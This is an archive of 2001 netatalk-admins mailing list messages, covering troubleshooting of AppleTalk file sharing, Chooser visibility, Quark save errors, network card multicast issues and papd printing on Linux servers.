we used to experience the EXACT same problem here &#8211; frustrating as al=
l hell - what version of Netatalk are you running? &nbsp;we found that upgra=
ding our netatalk fixed the problem completely.<BR>
<BR>
-- <BR>
<FONT SIZE=3D"2"><BR>
Claire van Heyningen<BR>
Network Services &nbsp;&nbsp;&nbsp;<BR>
Lavender*<BR>
<BR>
http://www.lavender.ad/<BR>
<BR>
Ph: &nbsp;(02) 8224 3135<BR>
Fax: &nbsp;(02) 9232 4911<BR>
</FONT><BR>
</FONT><BLOCKQUOTE><FONT FACE=3D"Verdana"><BR>
<B>From: </B>Isaac C &lt;iclnx@yahoo.com&gt;<BR>
<B>Date: </B>Mon, 25 Jun 2001 14:53:45 -0700 (PDT)<BR>
<B>To: </B>netatalk-admins@umich.edu<BR>
<B>Subject: </B>saving across network with Quark problem<BR>
<B>Resent-From: </B>netatalk-admins@umich.edu<BR>
<B>Resent-Date: </B>Mon, 25 Jun 2001 17:53:48 -0400 (EDT)<BR>
<BR>
</FONT></BLOCKQUOTE><FONT FACE=3D"Verdana"><BR>
</FONT><BLOCKQUOTE><FONT FACE=3D"Monaco"><TT>Hi,<BR>
<BR>
Users on a netatalk server I'm running are having<BR>
problems when saving to the shared drive with Quark.<BR>
The mac pops up all these &quot;Unknown error -199&quot; and<BR>
other numbers that don't explain anything. Their files<BR>
get corrupted or lost. Often the only way out is to<BR>
copy and paste the whole document into a new empty<BR>
document, because Quark refuses to save to the<BR>
networked drive. This also happens during &quot;Collect for<BR>
Output&quot;.<BR>
<BR>
There don't seem to be any other problems. File<BR>
copying with the Finder works fine (and is nice &amp;<BR>
fast).<BR>
<BR>
These are macs running mac os 9.1 and quark 4.1,<BR>
connected to the netatalk server over tcp/ip.<BR>
<BR>
I recommended for now to copy the file to their local<BR>
drives, work on them, then copy back to the server.<BR>
But this is considered a huge hassle (I agree). They<BR>
should be able to work over the network.<BR>
<BR>
Thanks for any help you can offer.<BR>
<BR>
--Isaac<BR>
<BR>
__________________________________________________<BR>
Do You Yahoo!?<BR>
Get personalized email addresses from Yahoo! Mail<BR>
http://personal.mail.yahoo.com/<BR>
<BR>
</TT></FONT></BLOCKQUOTE><FONT FACE=3D"Monaco"><TT><BR>
</TT></FONT>
</BODY>
</HTML>


--B_3076390531_55512--


From netatalk.administrators-errors@umich.edu  Tue Jun 26 05:20:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24400
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Jun 2001 05:20:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA06917
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Jun 2001 05:20:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA06898
	for netatalk.administrators-members@umich.edu; Tue, 26 Jun 2001 05:20:25 -0400 (EDT)
Received: from mike.amaze.nl (mike.amaze.nl [212.204.192.241])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA06857
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 05:20:24 -0400 (EDT)
Received: (from bas@localhost)
	by mike.amaze.nl (8.9.3/8.9.3) id LAA29837
	for netatalk-admins@umich.edu; Tue, 26 Jun 2001 11:20:18 +0200
Date: Tue, 26 Jun 2001 11:20:18 +0200
From: Bas van der Linden <bas@mike.amaze.nl>
To: netatalk-admins@umich.edu
Subject: Continuing problems with netatalk / server disappearing from chooser
Message-ID: <20010626112018.C28090@amaze.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4us

Hi all,

I'm having some quite irritating problems here:

The server seems to disappear and reappear ramdomly from the chooser.
Restarting seems to cure things sometimes, or this might just be my 
perception. 
I cannot figure out how this would be possible.

Another thing I've noticed is that since we migrated the server from
Win NT4 to RH Linux 6.2 (with a 2.4.3-kernel and Netatalk 1.4b2+asun2.1.4)
is that only some of the computers show up at all on the chooser, where
they all first would show up (prior to migrating). 

I've tried several things, at the moment I'm trying this:

afpd.conf:
# We are defining 2 servers here, one permits access to the general share, one permits access to the 'sys' share.
# The standard server should permit access to the general share.

- -noudp -tcp -ipaddr 195.193.216.32 -nocrlf -guest -nocleartext -guestname "nobody"

# The next server should permit to the 'sys' share

"SYS Server" -noudp -tcp -ipaddr 195.193.216.32 -port 12000 -loginmesg "Deze share is alleen voor toegang tot de 'sys' share!" -defaultvol /etc/atalk/sys-server/AppleVolumes.default -systemvol /etc/atalk/sys-server/AppleVolumes.system -nocrlf -guest -nocleartext


And atalkd.conf only shows 'eth0'.

I can connect by entering the IPadress in the server at all times.


If anyone has an idea of what I might try, I'd be really happy
to hear it! :)

Thanks so far,

Bas van der Linden

-- 
B.J.J. van der Linden           	-=- 
Brouwersgracht 132               Amaze Internet Services
1013 HA Amsterdam                	-=-
Tel:	+31-20-4688336		   Linux/Web/Zope/SQL
Fax:	+31-20-4688337		   Network Solutions
Web:	http://www.amaze.nl	     Consultancy
Email:	bas@amaze.nl			-=-

From netatalk.administrators-errors@umich.edu  Tue Jun 26 07:18:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA27222
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Jun 2001 07:18:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA22553
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Jun 2001 07:18:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA22540
	for netatalk.administrators-members@umich.edu; Tue, 26 Jun 2001 07:18:10 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA22505
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 07:18:09 -0400 (EDT)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15EqrA-0000hc-00
	for netatalk-admins@umich.edu; Tue, 26 Jun 2001 13:18:08 +0200
Received: from pppin1.max-koblenz0.rz-online.net ([212.7.162.1] helo=commuhnicate.com)
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 15Eqqx-00029w-00
	for netatalk-admins@umich.edu; Tue, 26 Jun 2001 13:17:55 +0200
Message-ID: <3B387E07.FCB197D5@commuhnicate.com>
Date: Tue, 26 Jun 2001 13:20:24 +0100
From: Metz Thorsten <metz@commuhnicate.com>
Organization: Werbeagentur Commuhnicate
X-Mailer: Mozilla 4.6 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Problems with netatalk
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 8bit

 Hi !
 My name is Thorsten and I have a question .
 I saw that you are a Netatalk-wizard and so I hope you can help me to
 manage my little problem.


 I have restarted my Netatalk-Server and everything seems to work. I can

 choose the volumes with the apple-chooser and they will be mounted
 correctly, but if I mark the entries in the apple-chooser, they won“t
be
 mounted automaticaly at a restart. I use the version 1.3.3.
 So I hope you can help me with your experience.

 Wish U the sunny side of life!

 Thorsten Metz


From netatalk.administrators-errors@umich.edu  Tue Jun 26 13:29:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA09788
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Jun 2001 13:29:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA08844
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Jun 2001 13:29:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08831
	for netatalk.administrators-members@umich.edu; Tue, 26 Jun 2001 13:29:35 -0400 (EDT)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA08780
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 13:29:34 -0400 (EDT)
Received: from localhost (gretchen.daemonize.com [63.204.212.189])
	by gromit.daemonize.com (8.11.3/8.11.3) with ESMTP id f5QHTDZ18868
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 10:29:14 -0700
Message-Id: <200106261729.f5QHTDZ18868@gromit.daemonize.com>
Date: Tue, 26 Jun 2001 10:29:12 -0700
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.388)
From: Paul Krohn <pkrohn@daemonize.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v388)
In-Reply-To: <20010626112018.C28090@amaze.nl>
Subject: Re: Continuing problems with netatalk / server disappearing from chooser
Content-Transfer-Encoding: 7bit


On Tuesday, June 26, 2001, at 02:20 AM, Bas van der Linden wrote:

> Hi all,
>
> I'm having some quite irritating problems here:
>
> The server seems to disappear and reappear ramdomly from the chooser.
> Restarting seems to cure things sometimes, or this might just be my
> perception.
> I cannot figure out how this would be possible.

<snip>

> And atalkd.conf only shows 'eth0'.
>
> I can connect by entering the IPadress in the server at all times.
>
>
> If anyone has an idea of what I might try, I'd be really happy
> to hear it! :)

It seems there is nothing wrong with your afpd.conf setup. Are you seeing 
the correct shares/directories once connected?

atalkd.conf should be populated by zone information and so on. Is there an 
AppleTalk router on your network? what are the zone names and cable ranges?
  Are there multiple zones on one wire? That would certainly explain the 
intermittent problems you are experiencing, if you haven't specified a 
default zone. does nbplkup work?

Also, what network card are you using? AppleTalk makes extensive use of 
multicasts, and some cards/drivers don't handle this well and require 
kernel options to work correctly with AppleTalk. I seem to remember the 
Intel EtherExpress being particularly problematic.

From netatalk.administrators-errors@umich.edu  Tue Jun 26 13:35:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA09968
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Jun 2001 13:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA12625
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Jun 2001 13:34:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12602
	for netatalk.administrators-members@umich.edu; Tue, 26 Jun 2001 13:34:54 -0400 (EDT)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA12560
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 13:34:53 -0400 (EDT)
Received: from localhost (gretchen.daemonize.com [63.204.212.189])
	by gromit.daemonize.com (8.11.3/8.11.3) with ESMTP id f5QHYgZ18970;
	Tue, 26 Jun 2001 10:34:43 -0700
Message-Id: <200106261734.f5QHYgZ18970@gromit.daemonize.com>
Date: Tue, 26 Jun 2001 10:34:41 -0700
From: Paul Krohn <pkrohn@daemonize.com>
Content-Type: text/plain;
	format=flowed;
	charset=iso-8859-1
Subject: Re: Problems with netatalk
Cc: netatalk-admins@umich.edu
To: Metz Thorsten <metz@commuhnicate.com>
X-Mailer: Apple Mail (2.388)
In-Reply-To: <3B387E07.FCB197D5@commuhnicate.com>
Mime-Version: 1.0 (Apple Message framework v388)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA09968

On Tuesday, June 26, 2001, at 05:20 AM, Metz Thorsten wrote:

>  Hi !
>  My name is Thorsten and I have a question .
>  I saw that you are a Netatalk-wizard and so I hope you can help me to
>  manage my little problem.
>
>
>  I have restarted my Netatalk-Server and everything seems to work. I can
>
>  choose the volumes with the apple-chooser and they will be mounted
>  correctly, but if I mark the entries in the apple-chooser, they won“t
> be
>  mounted automaticaly at a restart. I use the version 1.3.3.
>  So I hope you can help me with your experience.
>
>  Wish U the sunny side of life!
>
>  Thorsten Metz

It seems that the netatalk page at http://umich.edu/~rsug/netatalk still 
contains no pointers to the many more recent versions at 
http://netatalk.sourceforge.net.

1.3.3 has been out of use at most sites for some time. Please try one of 
the 1.5pre- versions. You'll get great new features, like connecting via 
TCP/IP ...

From netatalk.administrators-errors@umich.edu  Tue Jun 26 13:52:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA10517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Jun 2001 13:52:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA18156
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Jun 2001 13:52:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA18144
	for netatalk.administrators-members@umich.edu; Tue, 26 Jun 2001 13:52:25 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA18087
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 13:52:23 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA12390;
	Tue, 26 Jun 2001 19:51:27 +0200
Message-ID: <3B38CBA2.C01AE436@euc.de>
Date: Tue, 26 Jun 2001 19:51:31 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Krohn <pkrohn@daemonize.com>
CC: Metz Thorsten <metz@commuhnicate.com>, netatalk-admins@umich.edu
Subject: Re: Problems with netatalk
References: <200106261734.f5QHYgZ18970@gromit.daemonize.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA10517

So does the nortel networks cards. On heavy loads the cards
causing the clients to wait untl infinity which results
in  hanged client



Paul Krohn wrote:
> 
> On Tuesday, June 26, 2001, at 05:20 AM, Metz Thorsten wrote:
> 
> >  Hi !
> >  My name is Thorsten and I have a question .
> >  I saw that you are a Netatalk-wizard and so I hope you can help me to
> >  manage my little problem.
> >
> >
> >  I have restarted my Netatalk-Server and everything seems to work. I can
> >
> >  choose the volumes with the apple-chooser and they will be mounted
> >  correctly, but if I mark the entries in the apple-chooser, they won“t
> > be
> >  mounted automaticaly at a restart. I use the version 1.3.3.
> >  So I hope you can help me with your experience.
> >
> >  Wish U the sunny side of life!
> >
> >  Thorsten Metz
> 
> It seems that the netatalk page at http://umich.edu/~rsug/netatalk still
> contains no pointers to the many more recent versions at
> http://netatalk.sourceforge.net.
> 
> 1.3.3 has been out of use at most sites for some time. Please try one of
> the 1.5pre- versions. You'll get great new features, like connecting via
> TCP/IP ...

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Tue Jun 26 19:46:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA24240
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Jun 2001 19:46:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA11759
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Jun 2001 19:46:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA11747
	for netatalk.administrators-members@umich.edu; Tue, 26 Jun 2001 19:46:58 -0400 (EDT)
Received: from mike.amaze.nl (mike.amaze.nl [212.204.192.241])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA11707
	for <netatalk-admins@umich.edu>; Tue, 26 Jun 2001 19:46:57 -0400 (EDT)
Received: (from bas@localhost)
	by mike.amaze.nl (8.9.3/8.9.3) id BAA09744
	for netatalk-admins@umich.edu; Wed, 27 Jun 2001 01:46:56 +0200
Date: Wed, 27 Jun 2001 01:46:56 +0200
From: Bas van der Linden <bas@mike.amaze.nl>
To: netatalk-admins@umich.edu
Subject: Re: Continuing problems with netatalk / server disappearing from chooser
Message-ID: <20010627014656.I29840@amaze.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Mutt 0.95.4us


On Tue, Jun 26, 2001 at 10:29:12AM -0700, Paul Krohn wrote:
> 
> On Tuesday, June 26, 2001, at 02:20 AM, Bas van der Linden wrote:
> 
> > Hi all,
> >
> > I'm having some quite irritating problems here:
> >
> > The server seems to disappear and reappear ramdomly from the chooser.

<snip>

> > And atalkd.conf only shows 'eth0'.
> It seems there is nothing wrong with your afpd.conf setup. Are you seeing 
> the correct shares/directories once connected?

Everything does work, it's just that the server seems to be disappearing
from the chooser. All shares work exactly as expected. 

> atalkd.conf should be populated by zone information and so on. Is there an 
> AppleTalk router on your network? what are the zone names and cable ranges?

This is what nbplookup tells me (wich obviously works) :

                     SYS Server:AFPServer                          65280.112:129
                     fileserver:AFPServer                          65280.112:128
                     fileserver:netatalk                           65280.112:4
                     fileserver:Workstation                        65280.112:4
                       INTRANET:AFPServer                          65365.74:128
              El90xnd1@INTRANET:MicrosoftØ Windows NTŖ Prt 4.00    65391.251:2
               Fiery_5750_Print:EFI-NamedAppQueues                 65280.220:129
                Fiery_5750_Hold:EFI-NamedAppQueues                 65280.220:130
                     Fiery_5750:EFI-AppQueue                       65280.220:129
              Fiery_5750_Direct:EFI-NamedAppQueues                 65280.220:128
                Fiery_5750_Hold:LaserWriter                        65280.220:130
               Fiery_5750_Print:LaserWriter                        65280.220:129
              Fiery_5750_Direct:LaserWriter                        65280.220:128
Marco Klein & PartnersÕs Comput:AFPServer                          65287.47:247
320EE7BA04D14CAF30433B09CEE8C5CC:NSCP                               65287.47:248
Marco Klein & PartnersÕs Comput:ADServer                           65287.47:251
Marco Klein & PartnersÕs Comput:  Power Macintosh                  65287.47:252
Marco Klein & PartnersÕs Comput:Workstation                        65287.47:4
             9500 (Ex-Emmelien):PPCToolBox                         65297.72:251
             9500 (Ex-Emmelien):  Power Macintosh                  65297.72:252
             9500 (Ex-Emmelien):Workstation                        65297.72:4
                          dtp 4:PipeAqua                           65413.175:249
                      Notify|af:PipeNotify                         65413.175:239
                8600Õs Computer:ARA - Personal Server              65413.175:2
                8600Õs Computer:Multi-User Client                  65413.175:48
                8600Õs Computer:  Power Macintosh                  65413.175:252
                8600Õs Computer:Workstation                        65413.175:4
               LaserWriter 8500:LaserWriter                        20.130:129
          LaserWriter 16/600 PS:LaserWriter                        1.129:129


>   Are there multiple zones on one wire? That would certainly explain the 
> intermittent problems you are experiencing, if you haven't specified a 
> default zone. does nbplkup work?

I haven't defined a zone, what I understood is that appletalk adresses > 65000
or so are zoneless networks. But I'm getting the feeling I'm very wrong here.

> Also, what network card are you using? AppleTalk makes extensive use of 
> multicasts, and some cards/drivers don't handle this well and require 
> kernel options to work correctly with AppleTalk. I seem to remember the 
> Intel EtherExpress being particularly problematic.

Urg. A Dell PowerEdge 2450 with of course the EtherExpress 10/100. 

What would I be doing with such a card (except maybe throwing in a 3Com or so)?


Oh: One last thing, it was indeed 'noddp' instead of 'noudp', I mistyped this 
as I was using two tera term sessions from a windows box at teh time of 
writing, and retyping seemed a little faster than figuring out how to 
copy and paste it :)


Thanks so far and looking forward to you replies!

Bas van der Linden

Oh and Paul: Sorry for my not paying attention with replying :)

-- 
B.J.J. van der Linden           	-=- 
Brouwersgracht 132               Amaze Internet Services
1013 HA Amsterdam                	-=-
Tel:	+31-20-4688336		   Linux/Web/Zope/SQL
Fax:	+31-20-4688337		   Network Solutions
Web:	http://www.amaze.nl	     Consultancy
Email:	bas@amaze.nl			-=-

From netatalk.administrators-errors@umich.edu  Wed Jun 27 04:32:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06922
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 04:32:45 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA06087
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 04:32:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA06068
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 04:32:33 -0400 (EDT)
Received: from dexter.intern.nl.stone-it.com (stat61-100.dial.xs4all.nl [194.109.61.100])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA05989
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 04:32:31 -0400 (EDT)
Received: from stone-it.com (leeuw@appel.technical.nl.stone-it.com [192.168.2.12])
	by dexter.intern.nl.stone-it.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id KAA24557
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 10:32:38 +0200
Sender: leeuw@stone-it.com
Message-ID: <3B399B2B.1C906D9@stone-it.com>
Date: Wed, 27 Jun 2001 10:36:59 +0200
From: Dennis Leeuw <leeuw@stone-it.com>
Organization: Stone IT services BV
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Printing problem
Content-Type: multipart/mixed;
 boundary="------------A91ADFF66C88BABE7B7452BF"

This is a multi-part message in MIME format.
--------------A91ADFF66C88BABE7B7452BF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

I am new to this list, and very sorry if this is mentioned before. But
the mail archives aren't very handy for searching ;)

So here it goes:

I have setup a Linux machine with netatalk, for printing. It works fine,
except that for every job submitted it also prints the tranfer log like:
OPEN >
< OPENREPLY
READ 1 >
< TICKLE
SENDSTATUS >

etc. and ofcourse in a staircase effect.

Could someone shed some light on this. I am completely lost on what is
causing this and how to tackle it.

Thanks,

Dennis Leeuw
--------------A91ADFF66C88BABE7B7452BF
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="leeuw.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Dennis Leeuw
Content-Disposition: attachment;
 filename="leeuw.vcf"

YmVnaW46dmNhcmQgCm46TGVldXc7RGVubmlzCnRlbDtmYXg6MDMwIDIyIDg3IDk5Nwp0ZWw7
d29yazowMzAgMjIgODcgOTk1CngtbW96aWxsYS1odG1sOkZBTFNFCnVybDpodHRwOi8vd3d3
LnN0b25lLWl0LmNvbQpvcmc6U3RvbmUtSVQgQlYgLSBMSU5VWCBGT1IgQlVTSU5FU1MKYWRy
Ojs7SmFuIFN0ZWVubGFhbiAzO0JpbHRob3Zlbjs7MzcyMyBCUztUaGUgTmV0aGVybGFuZHMK
dmVyc2lvbjoyLjEKZW1haWw7aW50ZXJuZXQ6bGVldXdAc3RvbmUtaXQuY29tCnRpdGxlOkNv
bnN1bHRhbnQKeC1tb3ppbGxhLWNwdDo7Mjg5MjgKZm46RGVubmlzIExlZXV3CmVuZDp2Y2Fy
ZAo=
--------------A91ADFF66C88BABE7B7452BF--


From netatalk.administrators-errors@umich.edu  Wed Jun 27 07:54:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA10557
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 07:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA00097
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 07:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00071
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 07:54:24 -0400 (EDT)
Received: from vgkfgen3.rug.ac.be (vgkfgen3.rug.ac.be [157.193.129.75])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA00015
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 07:54:22 -0400 (EDT)
Received: from localhost (sms@localhost)
	by vgkfgen3.rug.ac.be (8.9.3/8.9.3) with ESMTP id OAA25861
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 14:31:33 +0200
Date: Wed, 27 Jun 2001 14:31:32 +0200 (CEST)
From: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>
cc: netatalk-admins@umich.edu
Subject: papd and samba printer
In-Reply-To: <3B399B2B.1C906D9@stone-it.com>
Message-ID: <Pine.LNX.4.21.0106271426430.25803-100000@vgkfgen3.rug.ac.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hey,

I know I asked this before, but now exams are over and I have time to work
on my little network here.

We have 3 Windows PCs, a Mac and a Linux all in network. I have installed
both Netatalk and Samba on the linux, and that all seems to work. The
printer is connected to one of the Windows PCs.

Now I would like to be able to print to it from the Mac. Since it is not a
postscript printer, I can't use Dave on the PCs, but will be using
netatalk papd.

What should I put in the print config file for papd ? I have no drivers or
ppds for the printer.

And how do I restart papd ? I killed it, but don't get it running again...


Yes, I am stupid (sometimes),

Thanks for replies,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jun 27 09:15:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA13075
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 09:15:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA27876
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 09:15:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA27854
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 09:15:20 -0400 (EDT)
Received: from falla.videotron.net (falla.videotron.net [205.151.222.106])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA27805
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 09:15:19 -0400 (EDT)
Received: from jobboom.com ([207.96.209.210])
 by falla.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8)
 with ESMTP id <0GFL00D8FBHT8K@falla.videotron.net> for netatalk-admins@umich.edu; Wed, 27 Jun 2001 09:15:29 -0400 (EDT)
Date: Wed, 27 Jun 2001 09:13:53 -0400
From: Jean-Francois Laflamme <jean-francois.laflamme@jobboom.com>
Subject: unsubscribe
Sender: root@falla.videotron.net
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-id: <3B39DC11.F3E95919@jobboom.com>
Organization: Jobboom inc.
MIME-version: 1.0
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdk i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en


-- 
Jean-Francois Laflamme <mailto:jean-francois@jobboom.com>
Administrateur de systemes / System Administrator
http://www.jobboom.com
